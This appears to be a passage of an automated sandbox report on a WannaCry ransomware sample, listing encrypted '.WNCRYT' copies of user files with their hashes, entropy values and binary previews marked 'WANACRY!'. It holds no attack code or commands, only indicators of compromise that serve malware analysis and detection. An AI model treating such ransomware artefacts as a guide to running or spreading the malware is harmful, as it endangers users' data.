                                                                                                                                                                              Preview:WANACRY!......j...#..!...h..`.........5.>aq.....<.i.....*H~.^..$.. .....T.t....3.0... kaQv~..&..Hj....6L.......V.....T......k.....0.E.2...?.L...qO......+.!......qsm._...5.0..).K.....c.d+.J.9....".m..X.vL.%+...'.._..Q#.n..B....'.:....;.{...R.....Q..=.$.F............;.J~8I.2.R...\9..mzV.......).......T.(5w.;.r....k.y..O...........&.9...se.B.B.......{4..../...c...f.jeC..7m.g...@`.!.&...t.m2HZ'....yq|<.x`..O..12....mc.Q...".O3w!g.\.U.Kl-..^.5b.cdgLU.'Y.y.5...X....|n..6S.G.......Pe.|C. .(ek..}&...Gh..]a*3........#..z..D!.hq.........45.R...,..Q..i..u.....e..B.4{@./Xw!.%.^.'L.Z....G.z...]He.H..(.D].j.p..=N..J.4.X....8...(G..m....y.u.8/.i...........J..P.(.#1{..lC.r..p...pG=m..R.D..+|'9..D,.[.{4pR.}..d....xw...O..../.X.4.7-Q..D"....*.h.01....l05.H.g......7k.4JP......F...<.2==t.\.y..{.->....@/.i..ma.....!c...*...Z.o3.{.8...k,o.8.b.2...j.z...{.o.^...z..W...;q...r.D...G.tow..oa.).r.....{.eD....j.....m@..jK..Z9....o%g.v..:.v+.`...........l]..(.#.3..I

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.83795330094803
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkvcgBAuHnefT0lA7Cg5Gm74zWDvjp9JbaFX1uXkfYnq4hi/e9/EC2uR:bkvxAuHnZgf4Cjlba3298fuR
                                                                                                                                                                              MD5:54FBF7587A24CA16B649F8A883FFFB9E
                                                                                                                                                                              SHA1:B052100B3F4BFA22EF0DF68CF7CCF2D27CA80BA8
                                                                                                                                                                              SHA-256:DA518E8D1C553FC3047A26B44C75AED93BEA819FBC52E53ADB48F50BF73771D4
                                                                                                                                                                              SHA-512:CD00CB409C836EE091EC455C78B76DAAA02D0E644B13A8952BF12E22B1761E2DEEC8E9F71FC7A6D7795723365988E0A82666DFDC921D57EB00E30660761B6817
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....8;f*7`.f.9.Pt.%E#..r.M...s.V.L.@>..r..)[.#..[..k.:...".Ze..*%;^..a..h8i,Ct.........h.....R....K.Hq4.....9._..x..-!Ml..eC.!.b..6.....|.D7....vbST...h......Fx.F......M..HCk....D+.E...8.O.{.{.@.W<.Uu,..5PKy.jr6.h0...5l......y...B>.Xv.ks.5r1.(.................C...".,....<......t...).>.!WQ@V.G1be....>.}....T...t..i....K.&p.i.-.|$U5#..g..r.n.uL.<q...5..O...\...........$4..xO.0..,)evGT.o'..5L.TH)...A9l...qm..F).p.......u.;..\..p.!..f.|...c......*..3{...~?........DIy...e..._.s\v.....Z...1cjG.^.Z.7v?w...[.VH...t.....[[.9B...t.z...=N9..I..O..9<..$.,..t...o...r..l.j.B<."..."8o......1Q.z....M..{j.e%.]gqC<...."...I.3w.ov~....![..>........G7..V9d.Pt.....+..V.&#`.....V.B'S`....?.^=.hS.2nF8...n()?...-.l.H{T.....I.!7..bb*.h].V......^...6..k..1...D..cQJ.}...A.E..;.$.x*....6.i.....-K.&U..o......-Y|.4..JF.....?c.XE..S..':W.....[..6...4r..j.....^td....!._faw.,l|."...W...I.....:...{g..^..a.l.<x.#j...../..q.P.O..,(F.....#..z.$....A..].......,.m.L.#..]

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HHWFPWGUPQ.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.833596758011272
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkztmA11D/AT4zlq2xBOqkeXI5r/R6SrBOpeEh5/TD+TDYm:bkztD11sUzwe/XIdLBXEb/no
                                                                                                                                                                              MD5:6685B6E46627278CD22F3B459780D94B
                                                                                                                                                                              SHA1:2CE5CCEF6EA008D2040923380BA2A92D542BECC7
                                                                                                                                                                              SHA-256:BE9DF6FB5CAEB625ADF3A38683E3DE77AD205EA6981DC8136C689A3A2E81D264
                                                                                                                                                                              SHA-512:29FA708DCFBFA314547D224273407A236D2BEFC534E8A830A2A22BF334A01C63C517783E32B91F0DF164CB097514A6EB245AF9A72E32D2585D468345740AF287
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....o...a.U...z....B.(.N..\.8.U.$....e...#...C5...t..66...(.b....^F.g9.R..(....K...O.{.. e..p[}~. .DJcw.(..;.9...H._\.bl....YUE...T...n3,..g...[...J...a.:8_..*.........=..HPc.!.L.....~'./..3;e...t...f...,.u.?8`..t..@...@.9j.P.z.d@v...C1..8..~.M.............@7x...m..EG.j....&P./.i@.#.l?.v...z0../..'.x..lx..r.d.......^..9g&@...C....C...Z.m.R...r9q...............a. .Wl>&7$......G.E...pe.9.Q.+.v......#.K.i:....b..v72g.f.I..S..Y.L..J..>|..CC(^.R......<V.K~|..+O.+./.pu.....sD.S....%.AM....I...W.D3.g......g...."...<..........PH........y.CoP.q...3...q.JX.....uD...n......8....E....Qt....T..../.f%.e.N.....u ...10.-[G...x....`.U.......r.,`.....1..Fu.....@6...,~3@d..~..j(...[...]......U~..\-..H.....`&.............yC.B...F~.!KYQ..i....~...6)...7..#DE.7'..T..~.Q...i...8[...\Q...-.."..u..{..sb.3....FL...9....RR.#Q..Y)<...Z........R^{.9m....z.L.[.aZ..x... ,.H].3..k.~>qhD.5....q....S6U.<..$.6..T..~.5Z...=_u..`..G._{z].....Oy.]R.......u.G

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.862450117186817
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk8iVfvS4uYHsHklP0g82mYQsNtRj83oxh1c+46FlKVqXRtQSVUSi9ev3:bk8yvS4XMEVRTu3oxne6DGqT9UTU
                                                                                                                                                                              MD5:C615C81C45D1805C11C9E4DC6288647D
                                                                                                                                                                              SHA1:123372809FBC385296C1BCA070E5207D70856EA5
                                                                                                                                                                              SHA-256:D283C2B8B8A62A8FF1E5EDD3B67DBE60E69FB86B0DBA0F7CBA9045E6C40E370F
                                                                                                                                                                              SHA-512:25C7CCBDAA8EFEADD5522567975260CDCC15BD0C8110C3821F9A48F3AE1582B68657CED2ACE9236BFFB8413FA0E11247D4F09D11A0439E7C10466F252B11CD7A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....f.XVf...8jl)*pX..w..Y.sa.D....t/......f..o....t..2$%....6)..HlM.S..w..HY...8...R..@n.A..*4*k.4.5.+b..^....&.+....M=NN........E.=."....v...-......$...:.A. ..y.rNZU.....y...q...w.j..[../.N.e....Ft}.^?6.i;.x_..&..W(.....j.~..an.ju...IH......i.R...............2...%.XO...f..|yD.^..V.`..JP....m.I...Y&.......L*.U.r...h~...e'.r.."<M...X..&P;=..y..2.....>..?*..N3.#.....'...$.@v......!.}..G.jO3|.V....!..l.9...{....n..N...=..L..7..la.&...W....J.....<g.o.C.FZ.dtkJ.!M.5y0%..*0.......J...^..uC.Q..K[..d.c.....Z.........^.%.M..+g.S....4.M..H!*..n..iQqyf..#.7...O%....]1...K../.tX0.s...8........WO....O.....Y...m.cFg$..77t.I.i..g..]Q..2]..{_gs%>F.).C.................`.C..Em./.."..}....!\.<..{.J0!.U..IRdBja...,.8^..>|.%.zFP...DW....k........)p..Lm.(A4.....'O...=..RRU...Rz.X+....m.........U:.9D.G~..$.oHE.}.........4..{.\....I.s........)..xYEZk....V.....U:.7..2.8..60d'...L.14K....f..0..}..kS6*.U.Fdy..)Z<....Ex.L..Ff.._..Ra.3.4'e2. ..{..~.5..f

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.843287511506092
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/CeCympjpbXBCgxuB8hIF+6uEiZDtlck2foePCedk3px72zzHq:bkqeChjygxuBAG+6uzxvyGLYq
                                                                                                                                                                              MD5:EA8B4436EAEF551F656E30334F9168FE
                                                                                                                                                                              SHA1:AA9754F78F16018DDF54363828E4C16FBDA698B1
                                                                                                                                                                              SHA-256:91587A278815E50E35EDADF7BDEB9FC674DE8BFA6E50BE70D933055582BC9168
                                                                                                                                                                              SHA-512:1957B4A6B31D65B3DD1EE17F0BCF1EF37844D541BD77FFE7826F9E579713C633E0A0B30A43801549B17D9E702E8975316A7DBACAA95BC1849271C37DE65F5E31
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......V.....'GUG......L....1...u.`.............!dv..H...F.y_a..]z.;..h....'.........m/.B..R..=...T..F.P..P.........4.lD.<7h<z.w..R+.I.U.f.......v.v.p...pFw../a.+u..Q.;..qj.V!M_.s$o&t...b..V8.......5......L.:h\..X.b.P\[1.*....[..V..}f..A.&...x....h.)V............,S..|.I=.......6t.Z.._..Me...]'N>.h.....e.....@..PoW...|.)......8.1.8wvLg..p.L.nq2Q=N...:....\O.9)c...Y...x...k.^..9.o.-#.].8........T%...j.z...H.'.....q.H.5..xx=p..I...}........).m....gt.......Yn....K..../..8.....\~...(..r...Z'2....Yn.}g9.5....(U...Y4.....CA..r........(.......?.P(y...o..v.....h..p....."9....;V.~.X..J.I.?.1w6Fmlf......Z...#..P.D$...2J&...w..."..m......,>^7.......S.e.f.`v.vYix.jD.V...|.......2.t/..fiK.V.....B....v.D....Z...^...{... .....Z`E.;..{;.x...J...T....5.G.... /R.d@aT<...:j.TW..A9.GH.....l<..j..b....r.N.~Yf$e..-\b./.....8=x........a.'....o..S....?...NU..._S:....O.*.*.N....X.km..B.0y..6.#......I...VY..ns.8...N...b.g.2.y....%..."....Q.V5...

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JJLYAVPJZB.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.840811155099381
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkTWIE9/oFzElzMlYbsiIT3yPo3okx0okYB/3rUZ5A:bk0/oUz783v0RYB/36O
                                                                                                                                                                              MD5:2B814A92406197C8DC22F7E2EC4F0B2D
                                                                                                                                                                              SHA1:CCFCA823FCD0FF2E03C5447424D3B1080D1F7BD9
                                                                                                                                                                              SHA-256:EA57E8617F0D5EC16CB13E4C6533279EEF435B59392DF05FD355F17F3EFC9385
                                                                                                                                                                              SHA-512:52C6247E4A02D8E705148F9A3712CFD037CF25CD83928C985917063074E3445902647B6F0F1A8EBC2AAF76D6D13257D8E8D2F7DE778BCB1E1D3ADF284356C390
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f..K6..;.j.F....a......+rS.|01.0..A.O.....rH*6.BXX.,S...{..=.....Q.3..2.1..~.T......\.-xs...==).....#..z..mP6=.{H.J.yu..P.L.....(v........p*A.Q.[S%.."[..;...E^.P,.E./...|\......b..>..6b...<a.d...)...'...]3.....g.k,.......Y`CZ......;5.ry...|..............Y..^y.Es.#....SLeH..M.%...}...=.bM......../t|,i../..\AvM=L...@+&........{...E...d..K.....<...F..?....,.x4..N.}.(.......[...lw.)..U....xO(.l.....`....3{~^A..kX.y\.\bY# ,..o..3.^Og.+.i...!i.D8q..8.-.m..m........ ..:.Jn....w+,.H.`K..Fk*.=....w6*..Z..j#.g<.Vz.@..#.O......c.'.....D0......O..OM&&.f.E..0.2.V.1..tE..Y.U..m7....q.'.~..........Xh.F.R.=.;l5..r.h.0C'!.FU.3.T.....K.....y...sL.....7xf.},G.n<.l....n..b\.9]f.3.^..MG...Kh..I5..L6X-.+w...i8.....Q.Z7a.2...J.D.~...[...H...>...y>^P9..{j..\K.G.......]..m..&w.6...../`...=.....M.$%~\.n.v..o.V.^.g.....r]...;1..~.>../e5l...L..}......).?.....x..jZ..T.....K..n....>.B...}..g6..P.C2..............}.x.7N{.#...v2.+..'U.......F......H

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84516154122595
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkAqRmNbsXBZrCLORIMOaPL2aUJ6r91szspByd7dpxWBbX6BF:bkAqRabsXBZrCiRzmJ6r91szmod7dpxJ
                                                                                                                                                                              MD5:B252E4979D533A1BC57E4F9877508C68
                                                                                                                                                                              SHA1:6C3711C0194BF37EED5AF94CDC00C6B41356C070
                                                                                                                                                                              SHA-256:E2BE215B0949DFC6CCF77C44F5932F6B3BACF7EE8E71B5CCB82BA418EE3ABE38
                                                                                                                                                                              SHA-512:EE4BBCBDBB7A5A19A3E6AD7122A20563C79A49D57BA1F75A4B3FD85098659318B91584DF024A4099E544B3CA54A277D813C3CE4B07D139AFAAA2D69B2550C3CB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......ia....+...,F.......ga..0F.9..'..<.oPt...c..+9.....-?S.....^...........=.}..........`...>.r.6.K.1.MP.)wG.gq... ...5?MfOzHS.f..b..8t..>Sa...h]..5...1~......3&.XP..v.{..us|......XW..iB!.q....,....G|D...t.~..GE_.I....98.....g.l,N.s(.f........?.{l..n^............nk..B..P.....r.F....T..X..0..S...Tt.m>E....Bo...z...^...w..}.[o^.W....@.......a.p.<..-.`;.)]....\.....2..l..~o.S..`.^.#.+F.....yn..<F...R_...i("....%R._..8{c.H.=..9}.gs.d......H.......0.V......^...=.G...T.z."..B...efo9.7&......v....]B.{M.qEd..T...p.8I5.S...si.V..U..|i'...T.a...*..vM..k.0.%l.......DPj~.j;.2A.VF. .4..C.v.S..D..'e...c.5..........+..uS.I'Z[.S...O.Y.}...B..9..=./=ck...._...........N"{....i,.>%...a.....o".<......H..\.$.....!TT.......6e.v.....^..d&.w...+k......^..s..q~....Q..._.......(.?.De.R...{.....V..U'.} F.3...jH.._..l.O.Q.,). .u.L"0...%..*....*..J...#P.1..V..;.`.....~.[^).....]...C.S..u.]....U.>U}kICdk...p.......6}.8..qk6..#....+.V.5.N..Z..~..U...G...Uhg

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8489759133661
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk8EWxjFoKWpDtSFwGKfxiVnBOjrdYqLYqWTOwf00fxpzBcBbJy8nE+c8:bkJWxj9MIylxonIYqLYqAOM00X+JnEA
                                                                                                                                                                              MD5:8D574E39DCDA58C60DC15B5572552BD4
                                                                                                                                                                              SHA1:F1143F7DAC64FF3E9EBE48B273397EEBDF27F9E2
                                                                                                                                                                              SHA-256:E999BCB04B685CEDDA8F9C8CEFF0B959C6FBE36D3142F23C0D8E3A5F3E984760
                                                                                                                                                                              SHA-512:087A0768B354B0560CE516E92CD162202AA122D1F3A45165A6414ED93B50FC15014931753627BE7D455785E852770D7AA04886F64949CC4F230040F5376CBF4F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....(...$M~.TH..o..........+;...E...`m..z...E`..4....._U...-..V8.........OG............*...GO.[.S.F.....7.gk..F.{....t......W..%.....;.....Y...w..O~.]|l.4..~..d.|...;/&&S...&....>...b...v..#.pw%.....V....%..w..n. .....v.==.....0+:*H....R.O.#...............t.8....H|.A.+.(2.s+.......I.Y.!D`..E..|77...?..../CQ....=.p.UU.#.K...W...4.6.W|q.%.p.[p.k...../.&.bYzg..|.3....s.m..{5...r...@..yV#/4......0..6..1...P.f...KK..Z....x....a&..e..L1./.....\........'..l..V._..]..If._g*.@3.9g.E.\.3!;W.G...a+%....tZ7../.I.o=_-b-...Y..+..)Y...$...X.z^..a......_$.."....x.JY0*Hcf..D.~#G..ro....e.vRNH.....6.A...-.$...P+...._c....!A..*.R<>.r.x...F....,+.]H...P-..<.......i...V.T.......xu..h.2.v_.9.....F.J'N!......j....&.Z.D~*.q.`.c]$...Dv.0.W..o.....c..?ON..4...qxT.]..e.H<..G,..(..^6.y.zi.J.w...o.K.....8.PA...-...r..Pr..e\F...q.'...e...C..m-5...D..>W....N..p.JK.1..^0.....o.".>.....F...!z..u.9.!.%m.H9...`_|b...v7n.....<...R..e..(7ht..}.<..wG+.Qk7...o...

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8511541922834365
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkD0PX/lg4D7bcgBVy4AtGvPHMphDfENMyS9QJ6H/X+KATn:bkD0PXt942ydGc3f+XS9iW/X+KAT
                                                                                                                                                                              MD5:7C586BC7011A36F15DA9166D90F99152
                                                                                                                                                                              SHA1:A6263B1848A4F90A1FE44DB795ED9B2E83554AB7
                                                                                                                                                                              SHA-256:3DEA8B7F658571860106EEDE6377054BB8322F1C8E5277E06902F4791E7103C2
                                                                                                                                                                              SHA-512:86D41990767BE465250DB0F47339A1E1876DAA3D620F5E92864B1036C486F6B89B5F39EA92AD027857606E32893B3D85F0F8339B17837BE0523324D5AD4622FA
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........2u:..7..|H>.L...S....=...Y."..(.X.S..Yv..v...O0k..._...Xs...B..CGC@.u.@..c.V....Z5!U......{`i............6.k..Z.......D...z*...F{.x.FwE2....)Z.].l.!QW.....A...7..e.....>..k.....H."C.cH.+j...b...P.T.....n..@'..#...c.2y.X;.dV.]Uv;.....b*B". ..).............F...[.`=..I.....[~<.m........f..4W."."m...P.}.y`.m.3......m.+...\... ..../..@^m.@..E...%..R.f...B..}4.!.x..I,.KKf.V.M.j..Wa/..5&4...L........=_o../..z./.n.XV.?N}.sS).=Ta...._(.~v....<.#...*..f.}..di'..E..+.1.....T..PF....7,}7m.:|.............T..%.l.;...(..#...'.V9.K.....g...M......K.u%...>.D$....C#....!+_.zk.."..k....R.A..dk..l_..U.We..i..3.v.../.'.j'.2S(y.].*"....6.)<...gA...[.c!A.;..Z._.:v...kP.8.....G..(>1......}.i..h...GR.xE...71....>.b.H.....y....1n.g..^.[=.Z.[pe"s...(..kT.....J...B..`x....l....:.;.Z..Wd.......,},...........)uQ.C..9..D`..)...7...k.?TCk.'.N.J.h....-.y...UD"..!.8B<%.+.......x]..OID..^.............H.S..@..)...lL.^'9....._jn.....dK.U.h..n.B.~..i;.....

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8466959298448975
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkTUJmkGCfRHmiVZ5p50UcvT9i6ZketH5AXWQM3veZvIGzLK:bkTUvGyRHmiP5n1cvftH+X23vpGK
                                                                                                                                                                              MD5:9A10E107B64411399F234A6D4295708A
                                                                                                                                                                              SHA1:05FCBDCBD61680392427C56D74BD72E771AD9096
                                                                                                                                                                              SHA-256:054C39519F7C06BCCA320F1A00A5AF59FC3D9A8CAE0F9AFF30ADC870CA7A740E
                                                                                                                                                                              SHA-512:469B9ACBD0B2E369A4E08B8CB086DC644BDB7473762F9B505DC2948C7C365D90DB63F5CCD50A6FE5FB40CD07B202B89696F307289885A305DB4D33B317B7CBC1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........{.%.[%....bq.a....n.B..8.L[..U.?...B...`.".74{x....CA...v+....}{\...5.|l..0. .x......y.[.......@..u...D!*..<4d....8..........9B...o.?..S...k`.B<{vW........:..z.,..M=N.&_r".u...?.;.!B..sL)....3..M<..{`..s8.K..t`.v.r..!.D......>.-..t...G..............9.-8.%..#...,h.wqn.C...*@..R.~..@.q.8l#...Z'...o-.{w.<.....3.3..(.{..L.{HZ.G.J.K.G..@x.......D...I.(.P....P.&.r...r.)...+...[i.<l.[.F\.$.K........C.p.V..\..._\..q.....L.2.7.eCN.<......>iV..n..L.G,s..92.kQ......@c...Z.H.u..my.!......Yk_...8..Dk......mY.z.H.yS.@.#H`..L_...|Z....6.tP.c.4..j.V0.HsP.Q..:..g+P/..:u....sO.S.M.wEM;...t.hS..'.o4...n.&.......#R.C...d...6....^.c.U0........,...*.i.2..R.O..n..'..L....&....}.O...[.sz<.........)...e..r[.3...}.3......Nsk./.... ...5..{?\TM...-....ZL!C.=.k).=......n..J..'eO.U|.8..{.._x...W........,..fD:.[....../..W..(....=?F..f.f.x\.c_Tmm....ap..........BkL....{Q..T..!.?......{)*.S.,...)_H...u-C...4 .F3.,-.Pe#N.........,.(d.....as......d.o7m:,l

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.847390630475262
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkz5Pvo9+ZbCOgbjCyIgilgyP5oWdjvqDiMxc++o4vtyf6wS1P7puKcUmcxME:bktnvejcgilgqXjKiMzRD65TpusmCf
                                                                                                                                                                              MD5:76262E8371DE4B4DD5BD90B8CB408806
                                                                                                                                                                              SHA1:E71B2DE039A9343BEC6D153B4A8E7D48133E2611
                                                                                                                                                                              SHA-256:C5A4D58152D977E91C6CE5925C44C2549D68051FF8F38524AC984F3F4DCB682D
                                                                                                                                                                              SHA-512:FD885240BC06337E7CE19969A39A66AAA5A75395F4043A06BC707F05B312B2414781BC4383CD17FF5A9F3636CF78FA59E4203C314144847E9BA005F43B03BE93
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....4/..8.gY`XarY....x.......X...>.....?Y.]u4gr......oOB.5..-'S....Fb..Y..Z.DX!idi.p.H.G...tE..U..4...M.i3O.j.~.....4...g..V..~......-..W..u.."!t..u/..|.3.p...]d|..z.g../..k.0....6*(S..A..B.lf~vT..1X..=.\.Y...w.. <....^K.%.S..\H_..a{=S.:"NJe(.2.'6"...............n..}c...ZG8...AZ /0..w...Gh.{.EC!7..........!.>^p..d....O .x....i.......p!XX.....b.....s.6......"E.x(...+`...< c.[y$..^.......M{*b.A.X.9_.@...Tw.b.......&..9..2.E.....7.A..C.......D90..+....X..|.jl.....^.....g[.x../........g....J..C. .O.,C.D)e..}=.;1.W.u..S.Zli.x........r.u...4&...p..RL.....,....t..Y.QJ(...s..f2.e...G.j.DPCo&}./$i.....Jn.J..>.q...)..!.K.....u.~.k.^`.....]...'7.....X........,M.3Ap:...]..@i.J.}..Oo.z/.UScr..d.)$..M-.&[..r.w...c.p...=..Q.G....;....G.,Y...X...'..T.=.-...V..T.+.D......H..A.*.:.he.N*N..z.D.4.......<...~.oy(...M.....P.:.o\.i...X.,.hv....@t.h....K....[v.U.......aS...n'.hL.NZ.h....j.o9w......]...%.]6.h..p9..P.....a..X=..gZ.?...,7.g)j5T~k.U..[p.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84781871873502
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkhmlKy0GOcRK85rPuqedGUSyVAxjColBIUmLIbpZggz+XSrynONHvCrfU/r:bkcrdLrrGvaxjC4m2egzYuynXfUT
                                                                                                                                                                              MD5:83A7EFF5025BD96E4A633005376ECAD4
                                                                                                                                                                              SHA1:C8D23D1A84EA3D043E9BE58241223D47D888A46D
                                                                                                                                                                              SHA-256:E891430D2B0A37873E2185538E85E2F1A43B5E6DAB738B8259771E91EE76F898
                                                                                                                                                                              SHA-512:62FDAA1D0442AD47FA2FCB88C9656F8B74372361282297A4A6C94CD974F2AE21C34411A2EF2275E25377D55E4EEE2128EA791BB650669C4363A61D07CE763F6E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....OK...a.ej...z5L.ItS.;."....._...9.}.I..wQ...5..L/eQ..Va...]"..TY....}....|W.T.[...v..{..>...F....\Q=..c....0.UlR.fw.<X.7...>]..0.!/...u.!*c....?.H.W...K.UQ.?.z..,......S...};..x.k..Go...dt......\..6.=...P.....^...O.'.../z..`....7Q..c..W.*5..................Kb...2.....3..m.#../..'.'...J5..l.....!x@'..N._.....es....A~eM...Q|....9....D*.U.....C....q..,.gc...w.EO......,}....R]..M.f@..,h.+xR...A.....T.\..2V....w..1..:......3.{.0W.,F...!..:a7.."9..s.^.[_a0.O.V.E~i..l."...g..C?..Tc.Q...A.2.9>C..g#..-.G....e'I......}...{ Ik.z..Br.....a..).D....)..)...?..H..m[.M.Gu..<.}.....g..@.B.s.J3q.QM./..8.....dU&nL...#R.t1.|<R.$.^n4^2.5.0=.O<a`.4........=..af.....*...*.c....C.*.......k[....O.oQ...V..u.i.......d...*Q. .:e96.....sk..3..C..e.9}:....8.Z...[.<3..B(]vW..<..@..W;.x...[H. fI;7R.%_..~.q..xN2.|.S..#...&x.+P\..-...dY5.t..'nq...8..F...].....Lk>v.*.8...L(w....$E$..@Ze(..H|.C.(t`..E....o..:p..%..|.!ZL?.`B.L8...N..`....n.GRx..E..(0Nzn..[.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SBVUSFKOGN.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.862400553234766
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bktoHPm0xIC/NRVW4iS2jfQIqjYjJG4ylW4V4xjjYiS+tBbHJlxm2:bk5nCFfW4iSKfj3yvMfxm2
                                                                                                                                                                              MD5:D5A972712AF40AA7B50ECAE775998CB3
                                                                                                                                                                              SHA1:25D22D07626C6E002161ADD8C22EEFF784BC3169
                                                                                                                                                                              SHA-256:8E3EBA791C4A07B80C6FA59DD1EFE50804628140627D544CBD6BCDB2A9184AD7
                                                                                                                                                                              SHA-512:2AF715512251C2874AF4A36BAAC5F3E50542A62326B1AA24BA50AC87BA736118023C9134454481304CE70D2289BCAF6676662D354295B01EAF1C47E036BBE6B5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
